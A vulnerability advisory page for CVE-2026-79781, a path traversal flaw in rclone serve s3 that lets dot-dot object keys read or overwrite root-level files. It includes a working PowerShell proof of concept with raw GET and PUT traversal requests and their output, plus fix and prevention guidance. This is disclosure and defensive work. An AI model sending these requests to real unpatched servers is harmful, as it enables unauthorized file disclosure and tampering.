Skip to content

GHSA-8v25-v8p6-qf7v BIT-rclone-2026-79781 CVE-2026-79781 GO-2026-6189

rclone: Path traversal in serve s3 allows reading and overwriting root-level files

Medium Go
Severity
6.9 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.30%
Chance of exploitation in the next 30 days. Higher than 22.99% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
1.74.4
Upgrade github.com/rclone/rclone to this version or later

Description

Summary

rclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket "bucket", but rclone normalizes the backend path and reads root-secret.txt from the serve root. The same issue also allows overwriting root-level files with PUT.

Details

The affected component is rclone serve s3.

Relevant source files:

cmd/serve/s3/backend.go cmd/serve/s3/multipart.go cmd/serve/s3/list.go

In cmd/serve/s3/backend.go, the S3 backend builds backend paths by joining the bucket name and object key with path.Join:

fp := path.Join(bucketName, objectName)

This pattern is used in object operations such as HeadObject, GetObject, PutObject, DeleteObject, and CopyObject.

S3 object keys are opaque names and can legally contain dot-dot segments. However, path.Join treats the object key as a filesystem-style path and normalizes ../ segments. As a result, an object key such as ../root-secret.txt is resolved outside the selected bucket directory.

For example, when rclone serve s3 is serving a root directory that contains:

root/ bucket/ root-secret.txt

a raw S3 HTTP request to:

GET /bucket/../root-secret.txt

is parsed as a request for bucket "bucket" and object "../root-secret.txt". The backend then calculates:

path.Join("bucket", "../root-secret.txt") == "root-secret.txt"

This causes rclone to read root-secret.txt from the serve root instead of rejecting the request or treating ../ as part of the S3 object key.

The same behavior affects writes. A request such as:

PUT /bucket/../root-secret.txt

overwrites root-secret.txt in the serve root.

This is a path traversal / improper path normalization issue in the S3 serving layer. It does not escape the configured rclone serve root, but it does escape the S3 bucket namespace and can expose or modify root-level files that are not intended to be S3 objects.

PoC

PoC:https://drive.google.com/file/d/1-b1ATr5Szx6iW-x_dcCDppT_aKtY8ene/view?usp=sharing

Test environment:

Windows 11 rclone v1.74.3 official Windows binary rclone serve s3 using a local filesystem root No --auth-key configured, so the server allows anonymous access as documented

  1. Prepare a test serve root:

$base = "$env:TEMP\rclone-serve-s3-poc" $root = "$base\root"

Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force -Path "$root\bucket" | Out-Null Set-Content -Encoding ASCII -Path "$root\root-secret.txt" -Value "ROOT_LEVEL_SECRET_MARKER"

  1. Start rclone serve s3:

$rclone = "C:\Users\fff20\AppData\Local\Temp\rclone-current-bin\rclone-v1.74.3-windows-amd64\rclone.exe"

& $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file "$base\serve-s3.log"

  1. In another terminal, send a raw HTTP GET request containing a dot-dot object key:

$port = 19087 $req = "GET /bucket/../root-secret.txt HTTP/1.1rnHost: 127.0.0.1:$portrnContent-Length: 0rnConnection: closernrn"

$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length) [Text.Encoding]::ASCII.GetString($buf, 0, $read) $client.Close()

  1. Observe that the response contains the root-level file content:

HTTP/1.1 200 OK

ROOT_LEVEL_SECRET_MARKER

  1. Send a raw HTTP PUT request to overwrite the same root-level file:

$body = "OVERWRITTEN_BY_DOTDOT" $req = "PUT /bucket/../root-secret.txt HTTP/1.1rnHost: 127.0.0.1:$portrnContent-Length: $($body.Length)rnConnection: closernrn$body"

$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length) [Text.Encoding]::ASCII.GetString($buf, 0, $read) $client.Close()

  1. Confirm that the root-level file was overwritten:

Get-Content "$root\root-secret.txt"

Observed result:

OVERWRITTEN_BY_DOTDOT

  1. The rclone debug log shows the unsafe normalization:

serve s3: GET OBJECT Bucket: bucket Object: ../root-secret.txt root-secret.txt: Open: flags=O_RDONLY

serve s3: CREATE OBJECT: bucket ../root-secret.txt root-secret.txt: OpenFile: flags=O_RDWR|O_CREATE|O_TRUNC

Expected result:

rclone serve s3 should reject object keys that would normalize outside the selected bucket, or preserve S3 object keys as opaque names without allowing ../ to affect the backend path.

Actual result:

rclone serve s3 normalizes the object key with path.Join(bucketName, objectName), allowing ../ segments in the object key to escape the bucket namespace and access root-level files under the configured serve root.

Impact

This is a path traversal / improper path normalization vulnerability in rclone serve s3.

An attacker who can send requests to an affected rclone serve s3 endpoint can use dot-dot object keys to read or overwrite files outside the selected bucket directory but still inside the configured serve root.

In deployments where rclone serve s3 exposes a root containing multiple buckets or root-level operational files, this can allow unauthorized disclosure or modification of files that are not intended to be accessible as objects in the selected bucket.

The issue is especially relevant when rclone serve s3 is run without --auth-key, because rclone documents that this configuration allows anonymous access. If authentication is configured, exploitation would require valid S3 access to the server.

Suggested fix:

Do not build backend paths by directly passing untrusted S3 object keys to path.Join with the bucket name.

Before accessing the backend, reject object keys containing path traversal segments that would escape the selected bucket after normalization. Alternatively, preserve object keys as opaque S3 names and encode path separators or dot-dot segments so they cannot affect backend path resolution.

Affected version tested:

rclone v1.74.3 official Windows binary

Affected versions

Go

PackageVulnerableFixed in
github.com/rclone/rclone
< 1.74.4
1.74.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/rclone/rclone Go → 1.74.4

go
go get github.com/rclone/rclone@v1.74.4 && go mod tidy

Severity breakdown

CVSS 4.0 6.9

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-38xv-hf3p-h7mq
rclone: source object names can escape the configured root on upload
Medium Also affects github.com/rclone/rclone
GHSA-2p48-j3qc-rx9f
rclone: S3 multipart declared-length memory exhaustion
High Also affects github.com/rclone/rclone
GHSA-p569-5gjg-9cmj
rclone: RC per-server auth-proxy bypass
Critical Also affects github.com/rclone/rclone
GHSA-xwwr-4h3p-r22c
rclone serve s3: --auth-proxy without --auth-key authenticates nobody - full SigV4 signature bypass
Critical Also affects github.com/rclone/rclone
GHSA-c476-6w5q-jw77
rclone: FTP cross-session auth-proxy backend confusion
High Also affects github.com/rclone/rclone
GHSA-f8g7-2xjc-7mfh
rclone: Directory metadata (chmod/chown/chtimes) applied through a planted symlink in rclone local --links escapes the destination
High Also affects github.com/rclone/rclone
GHSA-p6m2-r3w9-mpxw
rclone local: crafted Range request against a translated symlink panics (DoS)
Medium Also affects github.com/rclone/rclone
GHSA-66hp-wgxq-6f5q
rclone archive/zip: Zip Slip via unsanitized zip entry names lets a malicious archive escape its own namespace
Medium Also affects github.com/rclone/rclone

Credits: Dangel (GitHub: Dangel165)

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor